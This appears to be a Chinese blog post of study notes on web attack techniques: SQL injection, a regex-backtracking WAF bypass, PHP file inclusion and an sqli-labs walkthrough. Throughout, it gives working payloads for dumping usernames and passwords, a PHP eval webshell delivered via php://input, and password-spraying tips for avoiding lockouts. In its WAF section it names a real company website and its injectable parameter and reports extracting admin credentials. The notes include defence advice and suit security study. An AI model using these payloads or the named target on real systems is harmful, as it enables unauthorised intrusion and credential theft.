sql注入

一、SQL 注入核心知识点

1. 基础概念与核心目标

  • 定义:利用应用程序对用户输入验证不足的缺陷,将恶意 SQL 语句注入到数据库查询中,实现未授权的数据访问或操作。
  • 核心目标:获取敏感数据(如管理员账号密码)、越权操作数据库、甚至控制服务器。

2. 核心前提与注入点识别

  • 产生条件:用户输入(如 GET/POST 参数)被直接拼接到 SQL 语句中,未做有效过滤或参数化处理。
  • 注入点测试 :通过拼接特殊字符(单引号'、双引号"、注释符--+等)触发 SQL 语法错误,判断是否存在注入点。
    • 示例:id=1' 触发报错 near '1'' LIMIT 0,1',说明存在注入点。

3. 关键操作与核心函数

(1)确定查询列数
  • 方法 :使用order by N排序,通过报错判断列数(报错提示 "Unknown column 'N'" 说明列数为 N-1)。
  • 示例:id=1' order by 3--+ 正常,id=1' order by 4--+ 报错 → 查询列数为 3。
(2)信息收集(依赖information_schema系统库)
  • 系统库作用:MySQL 默认自带,存储数据库名、表名、列名等元数据。
    • SCHEMATA:存储所有数据库名称。
    • TABLES:存储所有表名(关联table_schema字段定位数据库)。
    • COLUMNS:存储所有列名(关联table_schematable_name定位表)。
  • 核心查询语句
    • 查数据库名:select schema_name from information_schema.schemata limit 0,1
    • 查表名:select table_name from information_schema.tables where table_schema='数据库名' limit 0,1
    • 查列名:select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1
(3)数据获取核心函数
  • 字符串截取:substr()substring()left()right()(解决报错注入 32 字符限制)。
  • 数据聚合:group_concat()(将多行结果合并为一行,便于一次性获取)。
  • 长度计算:length()(获取字段值长度,用于分段截取)。
  • 报错触发:updatexml()extractvalue()(通过 XPATH 语法错误回显数据)。

4. 主流注入类型与实战方法

(1)联合查询注入(union select
  • 核心条件:前后查询列数一致。
  • 实战步骤
    1. 构造负数 ID 使原始查询无结果:id=-1'
    2. 拼接联合查询:id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+
    3. 0x3a 为冒号的十六进制编码,用于分隔用户名和密码。
(2)报错注入
  • 核心原理:利用数据库函数报错机制,将查询结果嵌入错误信息中回显。
  • 常用 Payload
    • id=1' and updatexml(1,concat(0x7e,user(),0x7e),1)--+(0x7e 为波浪号,分隔错误信息与数据)。
    • id=1' and extractvalue(1,concat(0x7e,database(),0x7e))--+
  • 注意updatexml()extractvalue()仅回显 32 个字符,需用substr()分段获取长数据。
(3)盲注(无回显场景)
  • 核心思路 :通过判断条件真假(如length()substr()配合and 1=1/and 1=0),逐字符猜解数据。
  • 工具辅助:可使用 SQLmap 自动化猜解,或编写 Python 脚本实现二分查找提升效率。

5. 账号密码爆破技巧(密码喷洒)

  • 传统爆破缺陷:密码字典庞大易触发风控(如 1 分钟内错误 3 次封 IP)。
  • 密码喷洒策略:固定弱密码(123456、111111、888888 等),爆破用户名(admin、root、manager 等),降低风控触发概率。
  • 工具:BurpSuite 批量发送请求,配合线程池提升效率。

6. 信息收集辅助手段

  • 后台地址挖掘
    • 爬虫工具:Dirsearch、Dirmap、AWVS(爬取隐藏后台)。
    • 搜索引擎语法:site:目标域名 intext:"管理|登录"(Google/Bing)。
    • robots.txt文件:可能泄露后台路径、敏感目录。
  • 子站发现:Fofa、Hunter、Quark 等平台,通过域名关联查找子站注入点。

二、正则回溯绕过(WAF 绕过核心)

1. 核心原理

  • 正则引擎差异 :PHP 使用 NFA(非确定性有限状态自动机)正则引擎,匹配时存在回溯机制,当回溯次数超过pcre.backtrack_limit(默认 100 万次),preg_match()返回false,导致 WAF 检测失败。
  • ReDoS 攻击:通过构造超长字符串,使 WAF 的正则表达式陷入大量回溯,触发超时放弃检测,实现请求绕过。

2. 适用场景

  • WAF 通过正则拦截敏感 SQL 语句(如select(.*)fromunion.+?select)。
  • 无法通过大小写混淆、注释符(/**//*!*/)、重叠字符(selselectect)绕过的场景。

3. 实战绕过方法

  • 核心思路 :在敏感关键字(如selectfrom)之间插入大量垃圾字符(如 100 万个a),触发正则回溯超时。
  • Payload 构造select/*a*1000000*/from/*...*/为 MySQL 注释,垃圾字符填充在注释内不影响 SQL 执行)。
  • 实战案例 :重庆再生能源集团官网(http://www.cqzszy.com.cn/order_sell.php),POST 参数bs存在注入点,WAF 拦截select(.*)from,通过上述 Payload 成功绕过,获取zszy_admin表的账号密码。

4. 完整利用脚本(核心功能)

  • 获取表名:循环limit offset,1,通过updatexml()回显表名。
  • 获取列名:指定表名,循环查询information_schema.columns
  • 分段获取数据:利用substr()按 5 字符分段,解决 32 字符限制。
  • HEX 编码获取:通过hex()函数将数据转为十六进制,避免特殊字符干扰。

5. WAF 防御改进建议

  • 避免使用贪婪量词(.*),改用原子分组((?>...))或占有量词(.*+)。
  • 设置正则执行时间限制和请求体大小限制(如限制 1MB 以内)。
  • 采用多层防御(应用层过滤 + 协议层校验 + 行为分析),避免单层正则检测。

三、文件包含漏洞

1. 核心原理与产生条件

  • 定义 :应用程序使用include()/require()等函数包含文件时,文件路径由用户可控,导致恶意文件被包含执行。
  • 核心条件include()的参数可控,且未对文件路径、类型做有效过滤。
  • 关键特性include()不校验文件后缀,只要文件内容包含 PHP 代码,即可执行。

2. 常用利用方式

(1)伪协议利用(核心)

|--------------|--------------------|---------------------------------------------------------------------------------------|
| 协议 | 作用 | 典型用法 |
| php://filter | 读取源码(Base64编码避免执行) | ?file=php://filter/read=convert.base64-encode/resource=config.php |
| php://input | 执行POST提交的PHP代码 | POST 数据:<?php eval($_POST['cmd']);?>,URL:?file=php://input(需allow_url_include=on) |
| phar:// | 解析压缩包内文件(配合反序列化) | ?file=phar://test.jpg/shell.php(将含 shell 的 zip 改名为 jpg) |
| zip:// | 访问压缩包内文件 | ?file=zip://test.jpg%23shell.php(#编码为%23) |

2)包含系统 / 日志文件
  • 日志文件:/var/log/nginx/access.log(Nginx 访问日志)、/var/log/auth.log(SSH 登录日志),需先通过请求注入 PHP 代码到日志中。
  • 临时文件:利用文件上传、Session 创建等场景生成的临时文件,通过条件竞争包含。
  • 特殊文件:/proc/self/environ(理论可行,实战中权限限制较多)。
(3)Session 文件包含
  • 核心条件 :Session 中的可控参数(如username)被写入 Session 文件,且知道 Session 存储路径和文件名(默认/tmp/sess_PHPSESSID)。
  • 利用步骤 :注入 PHP 代码到 Session 可控参数,通过?file=/tmp/sess_xxx包含执行。

3. 防御建议

  • 限制包含路径:通过open_basedir指定允许包含的目录。
  • 过滤危险字符:拦截../、伪协议(php://phar://等)。
  • 禁用危险配置:allow_url_include=Off(默认禁用)。
  • 校验文件类型:仅允许包含指定后缀的文件(如.php),且通过白名单校验。

四、关键工具与实战技巧

1. 核心工具

  • 注入工具:SQLmap(自动化注入)、BurpSuite(手动构造 Payload、爆破)。
  • 目录扫描:Dirsearch、Dirmap、AWVS(挖掘后台和敏感文件)。
  • 调试工具:PHPinfo(查看配置参数,如session.save_pathpcre.backtrack_limit)、BurpSuite(流量拦截与篡改)。

2. 实战核心技巧

  • 多维度绕过:当 GET 注入被拦截时,尝试 POST 注入(如案例中bs参数为 POST 注入点)。
  • 权限优先:获取管理员账号密码后,优先登录后台,避免直接命令执行触发告警。
  • 合法测试:所有操作需在授权环境(众测平台、靶场)进行,遵循《网络安全法》,避免未授权渗透。
  • 基础扎实:熟练掌握 MySQL 基础语法、PHP 配置参数、正则引擎原理,是灵活绕过的关键。

五、靶场闯关

1.Less-1 联合注入查询

定位注入点

复制代码
http://localhost/sqli/Less-1/?id=1'

判断列数

复制代码
?id=1' order by 1--+
?id=1' order by 2--+
?id=1' order by 3--+     
?id=1' order by 4--+     

判断回显位置

复制代码
?id=-1' union select 1,2,3--+

获取当前数据库名称:security

复制代码
?id=-1' union select 1,database(),3--+

获取所有表名:emails,referers,uagents,users

复制代码
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

获取users表的所有列名:id,username,password

复制代码
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

提取账号密码

复制代码
?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+

2.Less-5 布尔盲注

SQL 注入无回显场景的核心利用方式,目标程序仅返回 "正常 / 异常" 两种布尔结果(无数据直接回显、无报错信息)

核心逻辑

  1. 构造带条件判断的 SQL 语句,利用程序 "正常显示页面 / 空白 / 报错" 的差异,判断条件真假;
  2. 结合字符串截取、长度判断、字符比较函数,逐字符验证目标数据的每一位,最终拼接出完整内容。

核心函数(MySQL 为例)

  • length(字段/语句):判断目标数据的长度(如判断密码长度是否为 6);
  • substr(目标, 位置, 1):截取目标数据的指定位置字符(如截取密码第 1 位);
  • ascii(字符):将字符转为 ASCII 码,方便数值比较(如判断字符是否为 a,即 ASCII=97)。

极简示例

假设目标注入点为 ?id=1,无数据回显,仅 id 合法时显示正常页面:

  1. 判断数据库名长度:?id=1 and length(database())=6--+(页面正常→数据库名长度为 6);
  2. 逐字符猜解数据库名第 1 位:?id=1 and ascii(substr(database(),1,1))=97--+(页面正常→第 1 位是 a,ASCII=97);
  3. 依次猜解第 2、3... 位,最终拼接出完整数据库名。

3.Less-18 User-Agent注入

注入点在User-Agent请求头中,如下所示:

复制代码
POST /sqli/Less-18/
User-Agent: ' OR extractvalue(1,concat('!',database())) OR '
uname=admin&passwd=123&submit=Submit

4.Less-19 Referer注入

注入点在Referer请求头中,方法同Less-18

5.Less-20 Cookie注入

Cookie参数值直接带入SQL

复制代码
Cookie: uname=admin' union select 1,user(),3#

6.less-23 注释符绕过

过滤了#和--+,使用;%00或闭合方式绕过

复制代码
?id=-1' union select 1,2,3 or '1'='1

7.Less-24 二次注入

用该恶意账号admin'登录后,执行「修改密码」操作,此时代码会直接从数据库读取存储的用户名admin\' ,拼接进密码修改的 SQL 语句中,且无二次过滤

注册恶意账号

复制代码
用户名:admin'#
密码:123456

登录admin'#获取session

修改密码为pass888

复制代码
原本的密码修改 SQL(正常逻辑):
UPDATE users SET password='新密码' WHERE username='登录的用户名' AND password='旧密码'
拼接恶意用户名后,SQL 变为:
UPDATE users SET password='新密码' WHERE username='admin\' AND password='旧密码'
此时数据库会自动解析转义符,\'还原为',最终 SQL 被篡改:
UPDATE users SET password='新密码' WHERE username='admin' AND password='旧密码'

8.Less-25 双写绕过

过滤了or 和 and,通过双写关键字绕过

复制代码
?id=-1' union select 1,group_concat(username,0x3a,passwoorrd),3 from users--+

9.Less-26 空格过滤绕过

过滤了空格,通过替代空格绕过,可用 /**/ , %0a , ()

复制代码
?id=1' &&(updatexml(1,concat(0x7e,database(),0x7e),1))&&('1')='1

10.Less-27 大小写绕过

复制代码
?id=100'%0aUniOn%0ASElecT%0a1,2,3;%00

11.Less-32 宽字节注入

利用MySQL 宽字节编码特性 (如 GBK 编码,占 2 个字节),输入特殊字符 % df ,让转义符\(URL 编码%5c)被 "吃掉",重新还原出可闭合的单引号

单引号被\转义,无法闭合 SQL,用%df'替代普通单引号,即可绕过转义:

复制代码
?id=-1%df' union select 1,user(),3--+

12.Less-37 POST宽字节注入

复制代码
uname=admin%df'#
passwd=123

13.Less-38 堆叠注入

堆叠可执行多条SQL语句

复制代码
?id=1';insert into users(id,username,password) values(100,'test','123')--+
相关推荐
winfreedoms2 小时前
ROS2语音&ai与控制——黑马程序员ROS2课程上课笔记(6)
人工智能·笔记
执于代码2 小时前
IEDA工具总结笔记
笔记
山岚的运维笔记3 小时前
SQL Server笔记 -- 第72章:隔离级别与锁定
数据库·笔记·后端·sql·microsoft·sqlserver
じ☆冷颜〃4 小时前
从确定性算子到随机生成元:谱范式的演进
经验分享·笔记·线性代数·矩阵·抽象代数
日更嵌入式的打工仔4 小时前
RTOS上下文保存
笔记
weixin_448119947 小时前
Datawhale 硅基生物进化论 202602第3次笔记
笔记
winfreedoms8 小时前
ROS2坐标转换,正解反解——黑马程序员ROS2课程上课笔记(5)
人工智能·笔记
EmbedLinX10 小时前
C语言标准库stdlib.h
c语言·开发语言·笔记
蒸蒸yyyyzwd13 小时前
os八股学习笔记
笔记·学习
Yeh20205813 小时前
2月14日笔记
笔记